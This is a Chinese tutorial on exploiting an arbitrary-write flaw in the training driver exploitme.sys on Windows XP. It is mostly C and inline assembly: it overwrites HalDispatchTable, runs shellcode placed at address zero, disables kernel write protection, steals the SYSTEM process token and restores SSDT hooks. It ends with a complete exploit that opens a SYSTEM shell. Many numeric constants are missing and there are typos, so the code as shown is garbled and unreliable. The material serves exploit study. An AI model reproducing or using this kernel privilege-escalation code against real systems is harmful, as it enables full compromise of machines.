OD: Kernel Exploit - 2 Programming

本节接前方，对 exploitme.sys 进行利用。

exploitme.sys 存在任意地址写任意内容的内核漏洞，现在采用执行 Ring0 Shellcode 的方式进行利用。

获取 HalDispatchTable 表地址 x

HalDispatchTable 是由内核模块导出的，要得到 HalDispatchTable 在内核中的准确地址，先要得到内核模块的基址，再加上 HalDispatchTable 与内核模块的偏移：

 NTSATUS NtSataus = STATUS_UNSUCCESSFUL;
 ULONG   ReturnLength = ;
 ULONG   ImageBase = ;
 PVOID   MAppedBase = NULL;
 UCHAR   ImageName[KERNEL_NAME_LENGTH] = {};
 ULONG   DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
 PVOID   HalDispatchTable = NULL;
 PVOID   xHalQuerySystemInformation = NULL;
 ULONG   ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;
 PVOID   ShellCodeAddress = NULL;
 UNICODE_STRING  DllName = {};
 SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
 int     RetryTimes = ;

 //////////////////////////////////////////////////
 // 获取内核模块基址和内核模块名称
 //////////////////////////////////////////////////
 // 获取内核模块列表数据大小到 ReturnLength
 //////////////////////////////////////////////////
 NtStatus = ZwQuerySystemInformation(
             SystemModuleInformation,
             ModuleInformation,
             ReturnLength,
             &ReturnLength);
 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
     return;

 // 申请内存 存放内核模块列表数据
 ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
 if(!ModuleInformaiton)
     return;
 // 获取内核模块列表数据到 ModuleInformation
 NtStatus = ZwQuerySystemInformation(
             SystemModuleInformation,
             ModuleInformation,
             ReturnLength,
             NULL);
 if(NtStatus != STATUS_SUCCESS)
 {
     free(ModuleInformation);
     return;
 }

 // 从内核模块列表获取内核第一个模块的基址和名称
 ImageBase = (ULONG)(ModuleInformation->Modules[].Base);
 RtlMoveMemory(ImageName,
                 (PVOID)(ModuleInformation->Modules[].ImageName +
                 ModuleInformation->Modules[].ModuleNameOffset),
                 KERNEL_NAME_LENGTH);

 // 释放存放内核模块列表的内存
 free(ModuleInformation);

 // 获取内核模块的 UnicodeString
 RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName);

 //////////////////////////////////////////////////
 // 加载内核模块到本地进程
 //////////////////////////////////////////////////
 NtStatus = (NTSTATUS)LdrLoadDll(
             NULL,                   // DllPath
             &DllCHaracteristics,    // DllCharacteristics
             &DllName,               // DllName
             &MappedBase);           // DllHandle
 if(NtStatus)
     return;

 //////////////////////////////////////////////////
 // 获取内核 HalDispatchTable 函数表地址
 //////////////////////////////////////////////////
 HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
 if(HalDispatchTable == NULL)
     return;
 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);
 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));

 //////////////////////////////////////////////////
 // 卸载本地进程中的内核模块
 //////////////////////////////////////////////////
 LdrUnloadDll((PVOID)MappedBase);

在 0x0 处申请一段内存，并写入 Ring0 Shellcode

在指定地址申请内存推荐使用 ZwAllocateVirtualMemory()，其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻，找到一段需要大小的内存。

 //////////////////////////////////////////////////
 // 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode
 //////////////////////////////////////////////////
 ShellCodeAddress = (PVOID)sizeof(ULONG);
 NtStatus = ZwAllocateVirtualMemory(
     NtCurrentProcess(),         // ProcessHandle
     &ShellCodeAddress,          // BaseAddress
     ,                          // ZeroBits
     &ShellCodeSize,             // AllocationSize
     MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,    // AllocationType
     PAGE_EXECUTE_READWRITE);    // Protect
 if(NtStatus)
     return;
 // 存放 ShellCode
 RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);

利用漏洞向 xHalQuerySystemInformation 写入 0x0

 //////////////////////////////////////////////////
 // 触发漏洞并利用
 //////////////////////////////////////////////////
 RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
 // 打开 ExploitMe 设备
 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
 ObjectAttributes.RootDirectory = ;
 ObjectAttributes.ObjectName = &DeviceName;
 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
 ObjectAttributes.SecurityDescriptor = NULL;
 ObjectAttributes.SecurityQualityOfService = NULL;
 NtStatus = NtCreateFile(
     &DeviceHandle,      // FileHandle
     FILE_READE_DATA |
     FILE_WRITE_DATA,    // DesiredAccess
     &ObjectAttributes,  // ObjectAttributes
     &IoStatusBlock,     // IoStatusBlock
     NULL,               // AllocationSize OPTIONAL
     ,                  // FileAttributes
     FILE_SHARE_READ |
     FILE_SHARE_WRITE,   // ShareAccess
     FILE_OPEN_IF,       // CreateDisposition
     ,                  // CreateOptions
     NULL,               // EaBuffer OPTIONAL
     );                 // EaLength
 if(NtStatus)
 {
     printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
     goto ret;
 }
 // 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0
 InputData = ;
 NtStatus = NtDeviceIoControlFile(
     DeviceHandle,       // FileHandle
     NULL,               // Event
     NULL,               // ApcRoutine
     NULL,               // ApcContext
     &IoStatusBlock,     // IoStatusBlock
     IOCTL_METHOD_NEITHER,   // IoControlCode
     &InputData,         // InputBuffer
     BUFFER_LENGTH,      // InputBufferLength
     xHalQuerySystemInformation, // OutputBuffer
     BUFFER_LENGTH);     // OutBufferLength
 if(NtStatus)
 {
     printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
     goto ret;
 }

调用 NtQueryIntervalProfile()

为检验 Ring0 Shellcode 被成功调用，在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1，调用完 NtQueryIntervalProfile() 后可检测。

 // 漏洞利用
 while(RetryTimes > )
 {
     NtStatus = NtQueryIntervalProfile(
         ProfileTotalIssues, // Source
         NULL);              // Interval
     if(NtStatus == )
     {
         printf("NtQueryIntervalProfile() ok!\n");
     }
     Sleep();
     if(g_isRing0ShellcodeCalled == )
         break;
     RetryTimes--;
 }
 if(RetryTimes ==  && g_isRing0ShellcodeCalled==)
     printf("exploit failed!\n");
 else
     printf("exploit success!\n");

将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()

 NTSTATUS MyShellCode(
     ULONG InformationClass,
     ULONG BufferSize,
     PVOID Buffer,
     PULONG ReturnedLength)
 {
     // 关闭内核写保护
     __asm
     {
         cli
         mov eax, cr0
         mov g_uCr0, eax
         and eax, 0xFFFEFFFF
         mov cr0, eax
     }
     // do something in ring0
     // TODO

     // 恢复内核写保护
     __asm
     {
         sti
         mov eax, g_uCr0
         mov cr0, eax
     }
     // 将全局变量置 1
     g_isRing0ShellcodeCalled = ;
     reutrn ;
 }
 void EndofMyShellcode()
 {
 }

Ring0 Shellcode 的编写

提权到 SYSTEM

修改当前进程的 token 为 SYSTEM 进程的 token，这样当前进程就可以控制整个系统：

 NTSTATUS MyShellCode(
     ULONG InformationClass,
     ULONG BufferSize,
     PVOID Buffer,
     PULONG ReturnedLength)
 {
     // 关闭内核写保护
     __asm
     {
         cli
         mov eax, cr0
         mov g_uCr0, eax
         and eax, 0xFFFEFFFF
         mov cr0, eax
     }
     // do something in ring0

     // 提权到 SYSTEM
     __asm
     {
         mov eax, 0xFFDFF124     // eax = KPCR (not 3G mode)
         mov eax, [eax]          // eax = PETHREAD of current thread
         mov esi, [eax+0x220]    // esi = PEPROCESS of current process
         mov eax, esi
       searchXp:
         mov eax, [eax+0x88]
         sub eax, 0x88           // eax = next PEPROCESS in process chain
         mov edx, [eax+0x84]     // edx = PID of the process
         cmp edx, 0x4            // search SYSTEM process by PID
         jne searchXp
         mov eax, [eax+0xC8]     // eax = SYSTEM process token
         mov [esi+0xC8], eax     // change the token of current process
     }
     // 恢复内核写保护
     __asm
     {
         sti
         mov eax, g_uCr0
         mov cr0, eax
     }
     g_isRing0ShellcodeCalled = ;
     reuturn ;
 }

恢复内核 Hook/Inline Hook

以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中，但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。

在 Ring3 中获取原始 SSDT 函数地址和内核中 SSDT 表的地址：

 // 全局变量 内核中 SSDT 表的地址
 ULONG g_RealSSDT = ;
 // 全局变量 SSDT 函数个数
 ULONG g_ServiceNum = 0x11C;
 // 全局变量 SSDT 函数原始地址数组
 ULONG g_OrgService[0x11C];
 //////////////////////////////////////////////
 // 获取 SSDT 中函数的原始地址和 SSDT 表地址
 //////////////////////////////////////////////
 // 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址
 ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable");
 if (KeSSDT == )
     return;
 // 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移
 ULONG poh_ImageBase = ;
 ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase);
 if (KiSSDT == )
     return;
 // 获取本地进程中加载的内核模块中的 KiServiceTable 地址
 KiSSDT += (ULONG)MappedBase;
 // 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表，并换算内核中原始 SSDT 函数地址
 for (ULONG i = ; i < ServiceNum; i++)
 {
     g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase;
 }
 // 换算内核中 SSDT 表的地址
 g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;

得到原始 SSDT 函数地址和内核中 SSDT 表的地址后，Ring0 Shellcode 的任务就是恢复所有 Hook：

 // 恢复所有的 SSDT Hook
 ULONG i;
 for (i=; i<g_ServiceNum; i++)
 {
     *(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
 }

添加调用门/中断门/任务门/陷阱门

详细知识参见看雪学院《rootkit ring3 进 ring0 之门系列》共四篇。

最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码，在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏，估计是其它代码调用了被修改过的 HalQuerySystemInformation()，代码如下：

 // exploit.cpp : Defines the entry point for the console application.
 //
 // env:
 //   os: windows xp sp3
 //   ide: vs 2008

 #include "stdafx.h"
 #include <stdio.h>
 #include <stdlib.h>
 #include <windows.h>
 #include <string.h>
 #include "ntapi.h"
 #pragma comment(linker,"/defaultlib:ntdll.lib")  

 #define PAGE_SIZE 0x1000
 #define OBJ_CASE_INSENSITIVE 0x00000040
 #define FILE_OPEN_IF 0x00000003
 #define KERNEL_NAME_LENGTH 0x0D
 #define BUFFER_LENGTH 0x04

 //触发漏洞使用的IoControlCode
 #define IOCTL_METHOD_NEITHER 0x8888A003

 //Ring0中执行的Shellcode
 NTSTATUS Ring0ShellCode(
                         ULONG InformationClass,
                         ULONG BufferSize,
                         PVOID Buffer,
                         PULONG ReturnedLength)
 {
     int g_uCr0;
     __asm
     {
         cli;
         mov eax, cr0;
         mov g_uCr0,eax;
         and eax,0xFFFEFFFF;
         mov cr0, eax;
     }
     // 提权到 SYSTEM
     __asm
     {
         mov eax, 0xFFDFF124     // eax = KPCR (not 3G mode)
         mov eax, [eax]          // eax = PETHREAD of current thread
         mov esi, [eax+0x220]    // esi = PEPROCESS of current process
         mov eax, esi
       searchXp:
         mov eax, [eax+0x88]
         sub eax, 0x88           // eax = next PEPROCESS in process chain
         mov edx, [eax+0x84]     // edx = PID of the process
         cmp edx, 0x4            // search SYSTEM process by PID
         jne searchXp
         mov eax, [eax+0xC8]     // eax = SYSTEM process token
         mov [esi+0xC8], eax     // change the token of current process
     }
     // 恢复内核写保护
     __asm
     {
         sti
         mov eax, g_uCr0
         mov cr0, eax
     }
     //g_isRing0ShellcodeCalled = 1;
     return ;
 }  

 //申请内存的函数
 PVOID MyAllocateMemory(IN ULONG Length)
 {
     NTSTATUS NtStatus;
     PVOID BaseAddress = NULL;
     NtStatus = NtAllocateVirtualMemory(
         NtCurrentProcess(),
         &BaseAddress,
         ,
         &Length,
         MEM_RESERVE |
         MEM_COMMIT,
         PAGE_READWRITE);
     if(NtStatus == STATUS_SUCCESS)
     {
         RtlZeroMemory(BaseAddress, Length);
         return BaseAddress;
     }
     return NULL;
 }

 //释放内存的函数
 VOID MyFreeMemory(IN PVOID BaseAddress)
 {
     NTSTATUS NtStatus;
     ULONG FreeSize = ;
     NtStatus = NtFreeVirtualMemory(
         NtCurrentProcess(),
         &BaseAddress,
         &FreeSize,
         MEM_RELEASE);
 }

 //main函数
 int _tmain(int argc, _TCHAR* argv[])
 {
     NTSTATUS NtStatus;
     HANDLE DeviceHandle=NULL;
     ULONG ReturnLength = ;
     ULONG ImageBase;
     PVOID MappedBase=NULL;
     UCHAR ImageName[KERNEL_NAME_LENGTH];
     ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
     PVOID HalDispatchTable;
     PVOID xHalQuerySystemInformation;
     ULONG ShellCodeSize = PAGE_SIZE;
     PVOID ShellCodeAddress;
     PVOID BaseAddress = NULL;
     UNICODE_STRING DeviceName;
     UNICODE_STRING DllName;
     ANSI_STRING ProcedureName;
     OBJECT_ATTRIBUTES ObjectAttributes;
     IO_STATUS_BLOCK IoStatusBlock;
     SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
     LARGE_INTEGER Interval;
     ULONG InputData=;

     //清空控制台屏幕
     system("cls");

     //获取内核模块列表数据长度到ReturnLength
     NtStatus = NtQuerySystemInformation(
         SystemModuleInformation,
         ModuleInformation,
         ReturnLength,
         &ReturnLength);
     if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
     {
         printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }

     //申请内存
     ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
     ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
     if(ModuleInformation==NULL)
     {
         printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength);
         goto ret;
     }

     //获取内核模块列表数据
     NtStatus = NtQuerySystemInformation(
         SystemModuleInformation,
         ModuleInformation,
         ReturnLength,
         NULL);
     if(NtStatus != STATUS_SUCCESS)
     {
         printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }

     //保存内核第一个模块（即nt模块）基址和名称，并打印
     ImageBase = (ULONG)(ModuleInformation->Module[].Base);
     RtlMoveMemory(
         ImageName,
         (PVOID)(ModuleInformation->Module[].ImageName +
         ModuleInformation->Module[].PathLength),
         KERNEL_NAME_LENGTH);
     printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase,    ImageName);

     //获取内核模块名称字符串的Unicode字符串
     RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);

     //加载内核模块到本进程空间
     NtStatus = LdrLoadDll(
         NULL,                // DllPath
         &DllCharacteristics, // DllCharacteristics
         &DllName,            // DllName
         &MappedBase);        // DllHandle
     if(NtStatus)
     {
         printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }

     //获取内核模块在本进程空间中导出名称HalDispatchTable的地址
     RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
     NtStatus = LdrGetProcedureAddress(
         (PVOID)MappedBase,          // DllHandle
         &ProcedureName,             // ProcedureName
         ,                          // ProcedureNumber OPTIONAL
         (PVOID*)&HalDispatchTable); // ProcedureAddress
     if(NtStatus)
     {
         printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }

     //计算实际的HalDispatchTable内核地址
     HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
     HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);

     //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
     xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));

     //打印HalDispatchTable内核地址和xHalQuerySystemInformation值
     printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
         HalDispatchTable,
         xHalQuerySystemInformation);

     //设备名称的Unicode字符串
     RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

     //打开ExploitMe设备
     ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
     ObjectAttributes.RootDirectory = ;
     ObjectAttributes.ObjectName = &DeviceName;
     ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
     ObjectAttributes.SecurityDescriptor = NULL;
     ObjectAttributes.SecurityQualityOfService = NULL;
     NtStatus = NtCreateFile(
         &DeviceHandle,     // FileHandle
         FILE_READ_DATA |
         FILE_WRITE_DATA,   // DesiredAccess
         &ObjectAttributes, // ObjectAttributes
         &IoStatusBlock,    // IoStatusBlock
         NULL,              // AllocationSize OPTIONAL
         ,                 // FileAttributes
         FILE_SHARE_READ |
         FILE_SHARE_WRITE, // ShareAccess
         FILE_OPEN_IF,     // CreateDisposition
         ,                // CreateOptions
         NULL,             // EaBuffer OPTIONAL
         );               // EaLength
     if(NtStatus)
     {
         printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }
     //利用漏洞将HalQuerySystemInformation函数地址改为0
     InputData = ;
     NtStatus = NtDeviceIoControlFile(
         DeviceHandle,         // FileHandle
         NULL,                 // Event
         NULL,                 // ApcRoutine
         NULL,                 // ApcContext
         &IoStatusBlock,       // IoStatusBlock
         IOCTL_METHOD_NEITHER, // IoControlCode
         &InputData,           // InputBuffer
         BUFFER_LENGTH,        // InputBufferLength
         xHalQuerySystemInformation, // OutputBuffer
         BUFFER_LENGTH);       // OutBufferLength
     if(NtStatus)
     {
         printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     } 

     //在本进程空间申请0地址内存
     ShellCodeAddress = (PVOID)sizeof(ULONG);
     NtStatus = NtAllocateVirtualMemory(
         NtCurrentProcess(),      // ProcessHandle
         &ShellCodeAddress,       // BaseAddress
         ,                       // ZeroBits
         &ShellCodeSize,          // AllocationSize
         MEM_RESERVE |
         MEM_COMMIT |
         MEM_TOP_DOWN,            // AllocationType
         PAGE_EXECUTE_READWRITE); // Protect
     if(NtStatus)
     {
         printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }
     printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 

     //复制Ring0ShellCode到0地址内存中
     RtlMoveMemory(
         ShellCodeAddress,
         (PVOID)Ring0ShellCode,
         ShellCodeSize);

     //触发漏洞
     NtStatus = NtQueryIntervalProfile(
         ProfileTotalIssues, // Source
         NULL);              // Interval
     if(NtStatus)
     {
         printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
         goto ret;
     }
     printf("NtQueryIntervalProfile succeed!\n");
     system("start cmd.exe");

 ret:
     //释放申请的内存
     if (ModuleInformation)
     {
         MyFreeMemory(ModuleInformation);
     }
     //卸载本进程中的内核模块
     if (MappedBase)
     {
         LdrUnloadDll((PVOID)MappedBase);
     }
     //关闭句柄
     if(DeviceHandle)
     {
         NtStatus = NtClose(DeviceHandle);
         if(NtStatus)
         {
             printf("NtClose failed! NtStatus=%.8X\n", NtStatus);
         }
     }
     return ;
 }